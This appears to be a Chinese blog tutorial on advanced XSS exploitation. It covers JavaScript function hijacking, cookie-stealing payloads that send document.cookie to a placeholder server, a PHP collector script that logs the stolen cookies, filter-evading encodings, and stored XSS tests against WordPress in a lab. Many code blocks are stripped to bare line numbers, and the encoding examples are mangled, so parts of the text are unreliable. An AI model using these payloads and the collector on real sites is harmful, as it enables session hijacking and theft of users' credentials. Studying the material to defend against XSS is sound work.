ajax在Xss中的利用,XSS高级利用

点击阅读

利用 xss 的 javascript 劫持

一个 xss 漏洞示例页面

1

2

3

4

5

6

7

8

9

10

$xss = @$_GET['xss'];

if($xss!==null){

echo $xss;

}

?>

这段代码中首先包含一个表单,用于向页面自己发送 GET 请求,带一个名为 xss 的参数。 然后 PHP 会读取该参数,如果不为空,则直接打印出来,这里不存在任何过滤。也就是说,如果 xss 中存在 HTML 结构性的内容,打印之后会直接解释为 HTML 元素

例如

1

2

3

4

5

6

7

8

9

10

Javascript Hijack with XSS

script.js 内容为

1

2

3

4

function Hello()

{

alert("hi");

}

当传入 xss 为

xss=function Hello() { alert("hacked"); } 时

鼠标点击会弹出 hacked 而非预定的 hi

这里利用 xss 漏洞劫持 javascript 代码

可以传入以执行较长的代码

XSS 会话劫持

可以在含 xss 漏洞的地方使用以下类似代码盗取 cookie

window.open("http://x.x.x.x/getcookie.php?cookie="+document.cookie)

document.location="http://x.x.x.x/getcookie.php?cookie="+document.cookie;

getcookie.php:

1

2

3

4

5

$cookie=@$_GET['cookie'];

$path="./cookies.txt";

file_put_contents($path,$cookie.PHP_EOL, FILE_APPEND);

?>

为防止察觉,使用 javascript

script.js:

1

2

3

var script =document.createElement('script');

script.src='http://x.x.x.x/getcookie.php?cookie='+escape(document.cookie);

document.body.appendChild(script);

f788839df4ea2d6911ad65d1d1b6cc15.png

xss 常用的编码

bWAPP 中的 XSS - Reflected (AJAX/XML)

输入 <img src=1 οnerrοr="alert(document.cookie)">

弹窗获取 cookie

<、>分别为的 HTML tag

第一个,html 实体编码,例如:

alert()

第二个,进制类,例如:

x61x6cx65x72x74x60x78x73x73x60

某些时候,也有不带 x,例如:5c6a

第三个,Unicode,例如:

u0061u006cu0065u0072u0074u0060u4e2du6587u4e5fu53efu4ee5u0060

第四个,纯转义,例如:

' " < >

这样的在特殊字符前加进行转义。

html 标签中:

1

2

3

4

5

html中当然会支持html实体编码,例如=,也有<

支持十六进制,但是要以开头,其中x大写小写无所谓。

支持十进制,要以开头,注意,没有x哦。

支持数字部分高位补充0,例如=,=这两是一样的。

可能你已经发现了,后缀有没有; 都无所谓

javascript 中:

1

2

3

eval函数里,支持十六进制,但是要以 x 开头,x只能小写!必须两位,例如:x5c

eval函数里,支持八进制,但是要以 开头。必须两位,例如:134

eval函数里,还支持u前缀的unicode,本质是:16进制的ascii码。必须是四位,例如:u005c

WordPress XSS 漏洞

于是下载了 wordpress-3.8.3 在虚拟机测试

9dce2ef70cd8b659228c8fcc8977de25.png

发现管理员登陆时,编辑内容并不会被过滤

编辑文章,回到首页查看

2ca2082191a342b27dd88966d89556b6.png

但是 chrome 下弹出的 cookie 似乎被过滤了,最关键的部分并没有,利用 js 在服务器上获取的 cookie 同样不完整

firefox 下却没问题

8f281e50abbbc6287d8908e68b3ad024.png

以下两个地方都被插入了代码,也会弹出两次

标题

61a506ddc5dc7bb90064764e5d95e714.png

侧栏

a40955998903952c7d244f50d4c65c0d.png

去官网下了个最新版 WordPress

ccdebd2c6548db52668949a908c2a383.png

管理员的编辑仍不会被过滤

接收到 cookie

3c0efe6a37cf3b4ff023cc251e641bb7.png

wordpress 站点有多个用户,当不是管理员时

漏洞的成因是在/wp-includes/formatting.php 中的 wptexturize 函数

formatting.php 应该是用于清理 XHTML 和用特定字符集正确格式化文本

1

2

3

4

5

6

7

8

9

10

11

12

13

function wptexturize($text) {

......

$textarr = preg_split('/(<.>|[.*])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE);

foreach ( $textarr as &$curl ) {

......

}

return implode( '', $textarr );

}

这里的正则/(<.>|[.*])/Us会匹配

1

2

3

4

5

6

7

//这个新姿势能在前台xss弹窗 不限制用户权限 后台的确不能弹窗

[["][a>alert(1)]

前后台都能弹窗 似乎还是老的onmouseover能用

[[" NOT VULNERABLE]

然而我发现这 payload 没什么效果,有时间再好好看看,完善一下

39726e7de0b960991fd2b42e4ae6dfcd.png

a9f078372efb1d4fe3614e6b53fe1e1f.png

17df2460794fe472c0b3359564c759e4.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值